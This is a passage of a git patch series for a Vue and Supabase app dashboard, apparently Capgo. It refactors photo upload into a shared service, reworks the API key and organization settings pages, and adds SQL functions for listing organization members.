-  try {
-    let contents
-    if (photos[0].path) {
-      contents = await Filesystem.readFile({
-        path: photos[0].path || photos[0].webPath,
-      })
-    }
-    else {
-      const blob = await blobToData(await fetch(photos[0].webPath).then(r => r.blob()))
-      contents = { data: blob.split('base64,')[1] }
-    }
-    const contentType = mime.getType(photos[0].format)
-    if (!contentType)
-      return
-    await updloadPhoto(
-      contents.data,
-      `${new Date().getTime()}.${photos[0].format}`,
-      contentType,
-    )
-  }
-  catch (e) {
-    console.error(e)
-    isLoading.value = false
-  }
-}
-
 async function deleteAccount() {
   displayStore.showActionSheet = true
   displayStore.actionSheetOption = {
@@ -178,14 +81,14 @@ async function presentActionSheet() {
         text: t('button-camera'),
         handler: () => {
           displayStore.showActionSheet = false
-          takePhoto()
+          takePhoto(isLoading, 'user', t('something-went-wrong-try-again-later'))
         },
       },
       {
         text: t('button-browse'),
         handler: () => {
           displayStore.showActionSheet = false
-          pickPhoto()
+          pickPhoto(isLoading, 'user', t('something-went-wrong-try-again-later'))
         },
       },
       {
diff --git a/src/pages/dashboard/settings/organization/Api-Keys.vue b/src/pages/dashboard/settings/organization/Api-Keys.vue
index eaab977b0a..99e6e2a307 100644
--- a/src/pages/dashboard/settings/organization/Api-Keys.vue
+++ b/src/pages/dashboard/settings/organization/Api-Keys.vue
@@ -1,230 +1,9 @@
 <script setup lang="ts">
-import { ref } from 'vue'
-import { useI18n } from 'vue-i18n'
-import { toast } from 'vue-sonner'
-import copy from 'copy-text-to-clipboard'
-import { useSupabase } from '~/services/supabase'
-import type { Database } from '~/types/supabase.types'
-import { useMainStore } from '~/stores/main'
-import { useDisplayStore } from '~/stores/display'
-import Plus from '~icons/heroicons/plus'
-import Trash from '~icons/heroicons/trash'
-import Pencil from '~icons/heroicons/pencil'
-import Clipboard from '~icons/heroicons/clipboard-document'
-
-const { t } = useI18n()
-const displayStore = useDisplayStore()
-const main = useMainStore()
-const isLoading = ref(false)
-const supabase = useSupabase()
-const apps = ref<Database['public']['Tables']['apikeys']['Row'][]>()
-async function getKeys(retry = true): Promise<void> {
-  isLoading.value = true
-  const { data } = await supabase
-    .from('apikeys')
-    .select()
-    .eq('user_id', main.user?.id)
-  if (data && data.length)
-    apps.value = data
-
-  else if (retry && main.user?.id)
-    return getKeys(false)
-
-  isLoading.value = false
-}
-displayStore.NavTitle = ''
-getKeys()
-
-async function addNewApiKey() {
-  if (await showAddNewKeyModal())
-    return
-
-  const keyType = displayStore.lastButtonRole
-
-  let databaseKeyType: 'read' | 'write' | 'all' | 'upload'
-
-  switch (keyType) {
-    case 'cancel':
-    case '':
-      return
-    case 'read-button':
-      databaseKeyType = 'read'
-      break
-    case 'upload-button':
-      databaseKeyType = 'upload'
-      break
-    case 'all-button':
-      databaseKeyType = 'all'
-      break
-    default:
-      return
-  }
-
-  const newApiKey = crypto.randomUUID()
-  const { data: { user } } = await supabase.auth.getUser()
-
-  if (!user) {
-    console.log('Not logged in, cannot regenerate API key')
-    return
-  }
-
-  const { data, error } = await supabase
-    .from('apikeys')
-    .upsert({ user_id: user.id, key: newApiKey, mode: databaseKeyType })
-    .select()
-
-  if (error)
-    throw error
-
-  apps.value?.push(data[0])
-  toast.success(t('add-api-key'))
-}
-
-async function regenrateKey(app: Database['public']['Tables']['apikeys']['Row']) {
-  if (await showRegenerateKeyModal())
-    return
-
-  const newApiKey = crypto.randomUUID()
-  const { data: { user } } = await supabase.auth.getUser()
-
-  if (!user) {
-    console.log('Not logged in, cannot regenerate API key')
-    return
-  }
-
-  const { error } = await supabase
-    .from('apikeys')
-    .update({ key: newApiKey })
-    .eq('user_id', user.id)
-    .eq('key', app.key)
-
-  if (error || typeof newApiKey !== 'string')
-    throw error
-
-  app.key = newApiKey
-
-  toast.success(t('generated-new-apikey'))
-}
-
-async function deleteKey(app: Database['public']['Tables']['apikeys']['Row']) {
-  if (await showDeleteKeyModal())
-    return
-
-  const { error } = await supabase
-    .from('apikeys')
-    .delete()
-    .eq('key', app.key)
-
-  if (error)
-    throw error
-
-  toast.success(t('removed-apikey'))
-  apps.value = apps.value?.filter(filterKey => filterKey.key !== app.key)
-}
-
-// This returns true if user has canceled the action
-async function showRegenerateKeyModal() {
-  displayStore.dialogOption = {
-    header: t('alert-confirm-regenerate'),
-    message: `${t('alert-not-reverse-message')}. ${t('alert-regenerate-key')}?`,
-    buttons: [
-      {
-        text: t('button-cancel'),
-        role: 'cancel',
-      },
-      {
-        text: t('button-regenerate'),
-        id: 'confirm-button',
-      },
-    ],
-  }
-  displayStore.showDialog = true
-  return displayStore.onDialogDismiss()
-}
-
-async function showDeleteKeyModal() {
-  displayStore.dialogOption = {
-    header: t('alert-confirm-delete'),
-    message: `${t('alert-not-reverse-message')} ${t('alert-delete-message')}?`,
-    buttons: [
-      {
-        text: t('button-cancel'),
-        role: 'cancel',
-      },
-      {
-        text: t('button-delete'),
-        id: 'confirm-button',
-      },
-    ],
-  }
-  displayStore.showDialog = true
-  return displayStore.onDialogDismiss()
-}
-
-async function showAddNewKeyModal() {
-  displayStore.dialogOption = {
-    header: t('alert-add-new-key'),
-    message: t('alert-generate-new-key'),
-    buttons: [
-      {
-        text: t('button-cancel'),
-        role: 'cancel',
-      },
-      {
-        text: t('key-read'),
-        id: 'read-button',
-      },
-      {
-        text: t('key-upload'),
-        id: 'upload-button',
-      },
-      {
-        text: t('key-all'),
-        id: 'all-button',
-      },
-    ],
-  }
-  displayStore.showDialog = true
-  return displayStore.onDialogDismiss()
-}
-
-async function copyKey(app: Database['public']['Tables']['apikeys']['Row']) {
-  copy(app.key)
-  console.log('displayStore.messageToast', displayStore.messageToast)
-  toast.success(t('key-copied'))
-}
+import ApiKeys from '~/components/ApiKeys.vue'
 </script>
 
 <template>
-  <div class="w-full h-full px-4 py-8 mx-auto max-w-9xl lg:px-8 sm:px-6">
-    <!-- Page header -->
-    <div class="mb-6 flex flex-row w-[66.666667%] ml-auto mr-auto">
-      <!-- Title -->
-      <h1 class="ml-2 text-2xl font-bold text-slate-800 md:text-3xl dark:text-white">
-        {{ t('api-keys') }}
-      </h1>
-      <button class=" ml-auto mr-2" @click="addNewApiKey()">
-        <Plus class="text-green-500" />
-      </button>
-    </div>
-    <div class="flex flex-col">
-      <div class="flex flex-col bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-2/3 md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800 overflow-hidden">
-        <dl class="divide-y divide-gray-500">
-          <InfoRow v-for="app in apps" :key="app.id" :label="app.mode.toUpperCase()" :value="app.key" :is-link="true">
-            <button class="w-7 h-7 bg-transparent ml-auto" @click="regenrateKey(app)">
-              <Pencil class="mr-4 text-lg" />
-            </button>
-            <button class="w-7 h-7 bg-transparent ml-auto" @click="copyKey(app)">
-              <Clipboard class="mr-4 text-lg" />
-            </button>
-            <button class="w-7 h-7 bg-transparent ml-4" @click="deleteKey(app)">
-              <Trash class="mr-4 text-lg text-red-600" />
-            </button>
-          </InfoRow>
-        </dl>
-      </div>
-    </div>
-  </div>
+  <ApiKeys />
 </template>
 
 <route lang="yaml">
diff --git a/src/pages/dashboard/settings/organization/General.vue b/src/pages/dashboard/settings/organization/General.vue
index 7ecf50f805..013fb9ebd1 100644
--- a/src/pages/dashboard/settings/organization/General.vue
+++ b/src/pages/dashboard/settings/organization/General.vue
@@ -1,19 +1,33 @@
 <script setup lang="ts">
-import { ref } from 'vue'
+import { computed, onMounted, ref } from 'vue'
 import { useI18n } from 'vue-i18n'
 import { storeToRefs } from 'pinia'
 import { useOrganizationStore } from '~/stores/organization'
 import { useDisplayStore } from '~/stores/display'
+import { useMainStore } from '~/stores/main'
+import { useSupabase } from '~/services/supabase'
+import { pickPhoto, takePhoto } from '~/services/photos'
 
 const { t } = useI18n()
 
 const organizationStore = useOrganizationStore()
 const displayStore = useDisplayStore()
+const supabase = useSupabase()
+const isLoading = ref(true)
 
-const { currentOrganization } = storeToRefs(organizationStore)
+onMounted(async () => {
+  await organizationStore.fetchOrganizations()
+  isLoading.value = false
+})
 
-const logo = ref(currentOrganization.logo)
-const name = ref('')
+const { currentOrganization } = storeToRefs(organizationStore)
+const name = computed({
+  get: () => currentOrganization.value?.name ?? '',
+  set: (val) => {
+    if (currentOrganization.value)
+      currentOrganization.value.name = val
+  },
+})
 
 async function presentActionSheet() {
   displayStore.showActionSheet = true
@@ -24,12 +38,14 @@ async function presentActionSheet() {
         text: t('button-camera'),
         handler: () => {
           displayStore.showActionSheet = false
+          takePhoto(isLoading, 'org', '')
         },
       },
       {
         text: t('button-browse'),
         handler: () => {
           displayStore.showActionSheet = false
+          pickPhoto(isLoading, 'org', '')
         },
       },
       {
@@ -42,6 +58,28 @@ async function presentActionSheet() {
     ],
   }
 }
+
+async function saveChanges() {
+  const main = useMainStore()
+
+  console.log(`name: ${name.value}`)
+
+  const { data, error } = await supabase
+    .from('orgs')
+    .update({ name: name.value })
+    .eq('created_by', (main.auth?.id ?? ''))
+    .select('id')
+
+  if (error) {
+    // TODO: INFORM USER THAT HE IS NOT ORG OWNER
+    console.log(`Cannot save changes: ${error}`)
+    return
+  }
+
+  console.log(`dataa: ${data}`)
+
+  console.log('save changes!')
+}
 </script>
 
 <template>
@@ -53,7 +91,7 @@ async function presentActionSheet() {
           <div class="flex items-center">
             <div class="mr-4">
               <img
-                v-if="currentOrganization?.logo" class="object-cover w-20 h-20 mask mask-squircle" :src="logo"
+                v-if="currentOrganization?.logo" class="object-cover w-20 h-20 mask mask-squircle" :src="currentOrganization.logo"
                 width="80" height="80" alt="User upload"
               >
               <div v-else class="flex items-center justify-center w-20 h-20 text-4xl border border-black rounded-full dark:border-white">
@@ -71,7 +109,7 @@ async function presentActionSheet() {
         <div>{{ 'You can modify the organization\'s informations here.' }}</div>
         <div class="mb-6">
           <label for="base-input" class="block mb-2 text-sm font-medium text-gray-900 dark:text-white">{{ 'Organization Name' }}</label>
-          <input id="base-input" v-model="name" type="text" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500">
+          <input id="base-input" v-model="name " type="text" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500">
         </div>
       </div>
       <footer style="margin-top: auto">
@@ -85,6 +123,7 @@ async function presentActionSheet() {
               type="submit"
               color="secondary"
               shape="round"
+              @click.prevent="saveChanges()"
             >
               <span v-if="!isLoading" class="rounded-4xl">
                 {{ t('save-changes') }}
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index e652be0879..6135281d0f 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -1,22 +1,21 @@
 <script setup lang="ts">
 import { onMounted, ref } from 'vue'
 import { useI18n } from 'vue-i18n'
-import { storeToRefs } from 'pinia'
+import Trash from '~icons/heroicons/trash'
+import Wrench from '~icons/heroicons/Wrench'
+
 import { useOrganizationStore } from '~/stores/organization'
-import { useDisplayStore } from '~/stores/display'
 import Plus from '~icons/heroicons/plus'
+import type { Database } from '~/types/supabase.types'
 
 const { t } = useI18n()
 
 const organizationStore = useOrganizationStore()
-const displayStore = useDisplayStore()
-
-const { currentOrganization } = storeToRefs(organizationStore)
 
-const members = ref([])
+const members = ref([] as Database['public']['Functions']['get_org_members']['Returns'])
 
 onMounted(async () => {
-  members.value = organizationStore.getMembers(currentOrganization.id)
+  members.value = await organizationStore.getMembers()
 })
 </script>
 
@@ -31,26 +30,33 @@ onMounted(async () => {
         {{ t('add-member') }}
       </button>
     </div>
-    <div v-for="member in members" :key="member.id">
-      <div class="flex justify-between">
-        <div class="flex">
-          <img
-            v-if="member?.profilePhoto" class="object-cover w-20 h-20 mask mask-squircle" :src="member.profilePhoto"
-            width="80" height="80" alt="profile_photo"
-          >
-          <div v-else class="flex items-center justify-center w-20 h-20 text-4xl border border-black rounded-full dark:border-white">
-            <p>{{ 'N/A' }}</p>
+    <div class="flex flex-col overflow-y-scroll bg-white shadow-lg border-slate-200 md:mx-auto md:mt-5 md:w-full md:border dark:border-slate-900 md:rounded-lg dark:bg-slate-800">
+      <dl class="divide-y divide-gray-500">
+        <div v-for="member in members" :key="member.id">
+          <div class="flex justify-between mt-2 mb-2 ml-2">
+            <div class="flex w-1/2">
+              <img
+                v-if="member?.image_url" class="object-cover w-20 h-20 mask mask-squircle" :src="member.image_url"
+                width="80" height="80" alt="profile_photo"
+              >
+              <div v-else class="flex items-center justify-center w-20 h-20 text-4xl border border-black rounded-full dark:border-white">
+                <p>{{ 'N/A' }}</p>
+              </div>
+              <div class="mt-auto mb-auto ml-auto">
+                {{ member.email }}
+              </div>
+            </div>
+            <div class="mt-auto mb-auto mr-4">
+              <button class="w-7 h-7 bg-transparent ml-4">
+                <Wrench class="mr-4 text-lg text-[#397cea]" />
+              </button>
+              <button class="w-7 h-7 bg-transparent ml-4">
+                <Trash class="mr-4 text-lg text-red-600" />
+              </button>
+            </div>
           </div>
-          {{ member.name }}
-        </div>
-        <div>
-          <p class="text-lg font-medium text-gray-900 dark:text-white">
-            ...
-          </p>
         </div>
-      </div>
-      <div>{{ member.position }}</div>
-      <div>{{ member.role }}</div>
+      </dl>
     </div>
   </div>
 </template>
diff --git a/src/services/photos.ts b/src/services/photos.ts
new file mode 100644
index 0000000000..d365dd9164
--- /dev/null
+++ b/src/services/photos.ts
@@ -0,0 +1,154 @@
+import { decode } from 'base64-arraybuffer'
+import type { Ref } from 'vue'
+import { setErrors } from '@formkit/core'
+import { Camera, CameraResultType, CameraSource } from '@capacitor/camera'
+import { Filesystem } from '@capacitor/filesystem'
+import mime from 'mime'
+import { useSupabase } from './supabase'
+import { useMainStore } from '~/stores/main'
+import { useOrganizationStore } from '~/stores/organization'
+
+const supabase = useSupabase()
+const main = useMainStore()
+const organizationStore = useOrganizationStore()
+
+async function uploadPhotoShared(data: string, fileName: string, contentType: string, isLoading: Ref<boolean>, callback: (success: boolean, url: string) => Promise<void>) {
+  const { error } = await supabase.storage
+    .from('images')
+    .upload(`${main.user?.id}/${fileName}`, decode(data), {
+      contentType,
+    })
+
+  const { data: res } = supabase.storage
+    .from('images')
+    .getPublicUrl(`${main.user?.id}/${fileName}`)
+
+  isLoading.value = false
+
+  if (error || !res.publicUrl)
+    await callback(false, '')
+  else
+    await callback(true, res.publicUrl)
+}
+
+async function updloadPhotoUser(data: string, fileName: string, contentType: string, isLoading: Ref<boolean>, wentWrong: string) {
+  async function userCallback(success: boolean, url: string) {
+    if (!success) {
+      setErrors('update-account', [wentWrong], {})
+      return
+    }
+
+    const { data: usr, error: dbError } = await supabase
+      .from('users')
+      .update({ image_url: url })
+      .eq('id', main.user?.id)
+      .select()
+      .single()
+
+    if (!usr || dbError) {
+      setErrors('update-account', [wentWrong], {})
+      console.error('upload error', dbError)
+      return
+    }
+
+    main.user = usr as any
+  }
+
+  await uploadPhotoShared(data, fileName, contentType, isLoading, userCallback)
+}
+
+async function updloadPhotoOrg(data: string, fileName: string, contentType: string, isLoading: Ref<boolean>, wentWrong: string) {
+  async function orgCallback(success: boolean, url: string) {
+    if (!success)
+      return
+
+    const { data: usr, error: dbError } = await supabase
+      .from('orgs')
+      .update({ logo: url })
+      .eq('created_by', main.user?.id)
+      .select()
+      .single()
+
+    if (!usr || dbError) {
+      console.error('upload error', dbError)
+      return
+    }
+
+    await organizationStore.setCurrentOrganizationFromValue(usr as any)
+  }
+
+  await uploadPhotoShared(data, fileName, contentType, isLoading, orgCallback)
+}
+
+function blobToData(blob: Blob) {
+  return new Promise<string>((resolve) => {
+    const reader = new FileReader()
+    reader.onloadend = () => resolve(reader.result as string)
+    reader.readAsDataURL(blob)
+  })
+}
+
+export async function takePhoto(isLoading: Ref<boolean>, type: 'org' | 'user', wentWrong: string) {
+  const updloadPhoto = (type === 'user') ? updloadPhotoUser : updloadPhotoOrg
+  const cameraPhoto = await Camera.getPhoto({
+    resultType: CameraResultType.DataUrl,
+    source: CameraSource.Camera,
+    quality: 100,
+  })
+
+  isLoading.value = true
+
+  const fileName = `${new Date().getTime()}.${cameraPhoto.format}`
+
+  if (!cameraPhoto.dataUrl)
+    return
+
+  const contentType = mime.getType(cameraPhoto.format)
+
+  if (!contentType)
+    return
+  try {
+    await updloadPhoto(cameraPhoto.dataUrl.split('base64,')[1], fileName, contentType, isLoading, wentWrong)
+  }
+  catch (e) {
+    console.error(e)
+    isLoading.value = false
+  }
+}
+
+export async function pickPhoto(isLoading: Ref<boolean>, type: 'org' | 'user', wentWrong: string) {
+  const updloadPhoto = (type === 'user') ? updloadPhotoUser : updloadPhotoOrg
+  const { photos } = await Camera.pickImages({
+    limit: 1,
+    quality: 100,
+  })
+  isLoading.value = true
+  if (photos.length === 0)
+    return
+  try {
+    let contents
+    if (photos[0].path) {
+      contents = await Filesystem.readFile({
+        path: photos[0].path || photos[0].webPath,
+      })
+    }
+    else {
+      const blob = await blobToData(await fetch(photos[0].webPath).then(r => r.blob()))
+      contents = { data: blob.split('base64,')[1] }
+    }
+    const contentType = mime.getType(photos[0].format)
+    if (!contentType)
+      return
+    await updloadPhoto(
+      contents.data,
+        `${new Date().getTime()}.${photos[0].format}`,
+        contentType,
+        isLoading,
+        wentWrong,
+    )
+  }
+  catch (e) {
+    console.error(e)
+    isLoading.value = false
+  }
+}
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index ac9fcbfb65..3ad4b3fdac 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -178,6 +178,47 @@ Begin
 End;  
 $$;
 
+CREATE FUNCTION "public"."is_member_of_org"("user_id" uuid, "org_id" uuid) RETURNS boolean
+    LANGUAGE "plpgsql"
+    AS $$
+Declare
+ is_found integer;
+Begin
+  SELECT count(*)
+  INTO is_found
+  FROM orgs
+  JOIN org_users on org_users.org_id = orgs.id
+  WhERE org_users.user_id = is_member_of_org.user_id AND
+  orgs.id = is_member_of_org.org_id;
+  RETURN is_found != 0;
+End;
+$$;
+
+CREATE FUNCTION "public"."is_owner_of_org"("user_id" uuid, "org_id" uuid) RETURNS boolean
+    LANGUAGE "plpgsql"
+    AS $$
+Declare
+ is_found integer;
+Begin
+  SELECT count(*)
+  INTO is_found
+  FROM orgs
+  WHERE orgs.id = org_id
+  AND orgs.created_by = user_id;
+  RETURN is_found != 0;
+End;
+$$;
+
+CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(id int8, created_at timestamp with time zone, updated_at timestamp with time zone, user_id uuid, org_id uuid, app_id character varying, channel_id int8, user_right user_min_right, email character varying, image_url character varying)
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+begin
+  return query select o.*, users.email, users.image_url from org_users as o
+  join users on users.id = o.user_id
+  where o.id=guild_id
+  AND (is_member_of_org(users.id, o.org_id) OR is_owner_of_org(users.id, o.org_id));
+End;
+$$;
 
 CREATE FUNCTION "public"."count_all_need_upgrade"() RETURNS integer
     LANGUAGE "plpgsql"
@@ -382,20 +423,12 @@ End;
 $$;
 
 CREATE FUNCTION "public"."get_orgs"("userid" "uuid") RETURNS TABLE(id uuid, logo text, name text)
-    LANGUAGE "plpgsql" SECURITY DEFINER
+    LANGUAGE "plpgsql"
     AS $$
 BEGIN
-  CREATE TABLE org_ids (id uuid);
-
-  INSERT INTO org_ids
-    SELECT org_id FROM org_users WHERE user_id = userid;
-  
   RETURN QUERY
-    SELECT o.id AS id, o.logo AS logo, o.name AS name
-    FROM org_ids oi
-    JOIN orgs o ON oi.id = o.id;
-    
-  DROP TABLE org_ids;
+    SELECT orgs.id, orgs.logo, orgs.name from orgs
+    WHERE created_by = userid;
 END;  
 $$;
 
@@ -1766,6 +1799,11 @@ CREATE POLICY "Allow user to self get" ON "public"."stripe_info" FOR SELECT TO "
    FROM "public"."users"
   WHERE (("users"."customer_id")::"text" = ("users"."customer_id")::"text"))) OR "public"."is_admin"("auth"."uid"())));
 
+CREATE POLICY "Allow memeber and owner to select" ON "public"."org_users"
+AS PERMISSIVE FOR SELECT
+TO public
+USING ((is_member_of_org(auth.uid(), org_id) OR is_owner_of_org(auth.uid(), org_id)))
+
 CREATE POLICY "Disable for all" ON "public"."notifications" USING (false) WITH CHECK (false);
 
 CREATE POLICY "Disable for all" ON "public"."store_apps" USING (false) WITH CHECK (false);
@@ -1865,6 +1903,11 @@ GRANT ALL ON FUNCTION "public"."convert_number_to_percent"("val" double precisio
 GRANT ALL ON FUNCTION "public"."convert_number_to_percent"("val" double precision, "max_val" double precision) TO "authenticated";
 GRANT ALL ON FUNCTION "public"."convert_number_to_percent"("val" double precision, "max_val" double precision) TO "service_role";
 
+GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "postgres";
+GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "anon";
+GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "authenticated";
+GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "service_role";
+
 GRANT ALL ON FUNCTION "public"."count_all_apps"() TO "postgres";
 GRANT ALL ON FUNCTION "public"."count_all_apps"() TO "anon";
 GRANT ALL ON FUNCTION "public"."count_all_apps"() TO "authenticated";

From 57e021c470945b1b0f3bb484e96a7510bf6d2221 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Wed, 30 Aug 2023 18:24:40 +0200
Subject: [PATCH 18/96] Members + select org + invite

---
 locales/en.yml                                |  13 +-
 src/components/Dialog.vue                     |   7 +-
 src/components/Navbar.vue                     |   1 -
 .../dashboard/DropdownOrganization.vue        |  25 +-
 .../settings/organization/Members.vue         |  31 ++-
 src/services/supabase.ts                      |  12 +-
 src/stores/display.ts                         |   1 +
 src/stores/organization.ts                    |  64 ++++-
 src/types/supabase.types.ts                   | 237 +++++++++++++++++-
 supabase/migrations/20230815171919_base.sql   |  27 +-
 10 files changed, 381 insertions(+), 37 deletions(-)

diff --git a/locales/en.yml b/locales/en.yml
index d4b546f4b7..81d44fe011 100644
--- a/locales/en.yml
+++ b/locales/en.yml
@@ -24,6 +24,7 @@ activation-validate: Validate
 add: Add
 add-another-app: Add your app
 add-api-key: Added new API key successfully
+add-member: Add Member
 add-shared-user: Add shared user
 add-this-code-to-you: Add this code to your project
 add-your-app-to-your: Add your app to your account
@@ -71,6 +72,7 @@ button-cancel: Cancel
 button-delete: Delete
 button-go: GO
 button-home: Home
+button-invite: Invite
 button-options: Options
 button-regenerate: Regenerate
 button-remove: Remove
@@ -78,6 +80,7 @@ button-tabs: Tabs
 button-toggle_dark: Toggle dark mode
 button-toggle_langs: Change languages
 by-clicking-on-them: by clicking on them.
+cancel: Cancel
 cannot-delete-app: Cannot delete App
 cannot-delete-app-icon: Cannot delete app icon
 cannot-delete-app-version: Cannot delete app version
@@ -153,6 +156,7 @@ forgot: Forgot
 forgot-check-email: Check your email to get the link to reset your password
 forgot-success: Password updated successfully
 from-device: from device
+general-information: General Informations
 generated-new-apikey: Generated new API key!
 good: Good
 id: ID
@@ -161,6 +165,7 @@ in-your-project-fold: In your project folder
 info: Information
 informations: Informations
 init-capgo-in-your-a: Init Capgo in your app
+insert-invite-email: Insert email of the user you want to invite
 install: Installed
 install-the-capacito: Install the Capacitor plugin
 into-your-app-folder: Into your app folder.
@@ -191,6 +196,7 @@ making-this-channel-: >-
   Making this channel "normal" will need you to configure an other channel
   default or let device self assign.
 mau: Monthly active users
+members: Members
 module-heading: Modules
 monthly: Monthly
 monthly-active-users: Monthly active users
@@ -261,6 +267,7 @@ removed-apikey: API key has been successfully deleted
 reset-password: Reset Password
 reset-your-password: Reset your password
 save: Saves
+save-changes: Save Changes
 search: Search
 search-bundle: Search Bundle
 search-bundle-id: Search by bundle ID
@@ -334,9 +341,3 @@ your-api-key: 'Your API key:'
 your-are-a: Your are a
 your-current-plan-is: Your current plan is
 your-current-suggested-plan-is: Your current suggested plan is
-general-information: General Informations
-members: Members
-save-changes: Save Changes
-cancel: Cancel
-add-member: Add Member
-
diff --git a/src/components/Dialog.vue b/src/components/Dialog.vue
index fb476c3de1..d55e7c865b 100644
--- a/src/components/Dialog.vue
+++ b/src/components/Dialog.vue
@@ -85,7 +85,12 @@ onMounted(() => {
         </div>
         <!-- Modal body -->
         <div class="p-6 space-y-6">
-          <p class="text-base leading-relaxed prose text-gray-500 break-words dark:text-gray-400" v-html="displayText(displayStore.dialogOption?.message)" />
+          <p v-if="!displayStore.dialogOption?.input" class="text-base leading-relaxed prose text-gray-500 break-words dark:text-gray-400" v-html="displayText(displayStore.dialogOption?.message)" />
+          <template v-else>
+            <div class="flex flex-row max-w-2xl">
+              <input class="border rounded border-gray-200 dark:border-gray-600 bg-white dark:bg-gray-700 w-full ml-4" type="text">
+            </div>
+          </template>
         </div>
         <!-- Modal footer -->
         <div class="flex items-center p-6 space-x-2 border-t border-gray-200 rounded-b dark:border-gray-600">
diff --git a/src/components/Navbar.vue b/src/components/Navbar.vue
index 75432fbf74..19d5fdd927 100644
--- a/src/components/Navbar.vue
+++ b/src/components/Navbar.vue
@@ -48,7 +48,6 @@ const { t } = useI18n()
         <div class="flex">
           <div v-if="displayStore.NavTitle" class="pr-2">
             <button class="flex" @click="back()">
-              {{ orgs }}
               <IconBack
                 class="w-6 h-6 fill-current text-slate-500 dark:text-white hover:text-slate-600 dark:hover:text-slate-50"
               />
diff --git a/src/components/dashboard/DropdownOrganization.vue b/src/components/dashboard/DropdownOrganization.vue
index 5c0ffb6381..15b936af9b 100644
--- a/src/components/dashboard/DropdownOrganization.vue
+++ b/src/components/dashboard/DropdownOrganization.vue
@@ -1,27 +1,44 @@
 <script setup lang="ts">
+import { Dropdown, initDropdowns } from 'flowbite'
 import { storeToRefs } from 'pinia'
 import { onMounted } from 'vue'
 import { useOrganizationStore } from '~/stores/organization'
 
 const organizationStore = useOrganizationStore()
+const { currentOrganization, organizations } = storeToRefs(organizationStore)
+let dropdown: Dropdown
 
 onMounted(async () => {
-  const { currentOrganization, organizations } = storeToRefs(organizationStore)
   await organizationStore.fetchOrganizations()
+
+  initDropdowns()
+  console.log(organizations)
+
+  dropdown = new Dropdown(
+    document.getElementById('dropdown-org'),
+    document.getElementById('organization-picker'),
+  )
 })
+
+function onOrganizationClick(org: string) {
+  organizationStore.setCurrentOrganization(org)
+
+  if (dropdown)
+    dropdown.hide()
+}
 </script>
 
 <template>
-  <button v-if="currentOrganization" id="organization-picker" data-dropdown-toggle="dropdown" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center inline-flex items-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" type="button">
+  <button v-if="currentOrganization" id="organization-picker" data-dropdown-toggle="dropdown-org" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center inline-flex items-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" type="button">
     {{ currentOrganization?.name }}
     <svg class="w-2.5 h-2.5 ml-2.5" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 10 6">
       <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m1 1 4 4 4-4" />
     </svg>
   </button>
-  <div id="dropdown" class="z-10 hidden bg-white divide-y divide-gray-100 rounded-lg shadow w-44 dark:bg-gray-700">
+  <div id="dropdown-org" class="z-10 hidden bg-white divide-y divide-gray-100 rounded-lg shadow w-44 dark:bg-gray-700">
     <ul class="py-2 text-sm text-gray-700 dark:text-gray-200" aria-labelledby="dropdownDefaultButton">
       <li v-for="org in organizations" :key="org.id">
-        <a class="block px-4 py-2 hover:bg-gray-100 dark:hover:bg-gray-600 dark:hover:text-white">{{ org.name }}</a>
+        <a class="block px-4 py-2 hover:bg-gray-100 dark:hover:bg-gray-600 dark:hover:text-white" @click="onOrganizationClick(org.id)">{{ org.name }}</a>
       </li>
     </ul>
   </div>
diff --git a/src/pages/dashboard/settings/organization/Members.vue b/src/pages/dashboard/settings/organization/Members.vue
index 6135281d0f..11bc6c2482 100644
--- a/src/pages/dashboard/settings/organization/Members.vue
+++ b/src/pages/dashboard/settings/organization/Members.vue
@@ -1,22 +1,49 @@
 <script setup lang="ts">
-import { onMounted, ref } from 'vue'
+import { onMounted, ref, watch } from 'vue'
 import { useI18n } from 'vue-i18n'
+import { storeToRefs } from 'pinia'
 import Trash from '~icons/heroicons/trash'
 import Wrench from '~icons/heroicons/Wrench'
 
 import { useOrganizationStore } from '~/stores/organization'
 import Plus from '~icons/heroicons/plus'
 import type { Database } from '~/types/supabase.types'
+import { useDisplayStore } from '~/stores/display'
 
 const { t } = useI18n()
+const displayStore = useDisplayStore()
 
 const organizationStore = useOrganizationStore()
+const { currentOrganization } = storeToRefs(organizationStore)
 
 const members = ref([] as Database['public']['Functions']['get_org_members']['Returns'])
 
+watch(currentOrganization, async () => {
+  members.value = await organizationStore.getMembers()
+})
+
 onMounted(async () => {
   members.value = await organizationStore.getMembers()
 })
+
+function showInviteModal() {
+  displayStore.dialogOption = {
+    header: t('insert-invite-email'),
+    message: 'Email',
+    input: true,
+    buttons: [
+      {
+        text: t('button-cancel'),
+        role: 'cancel',
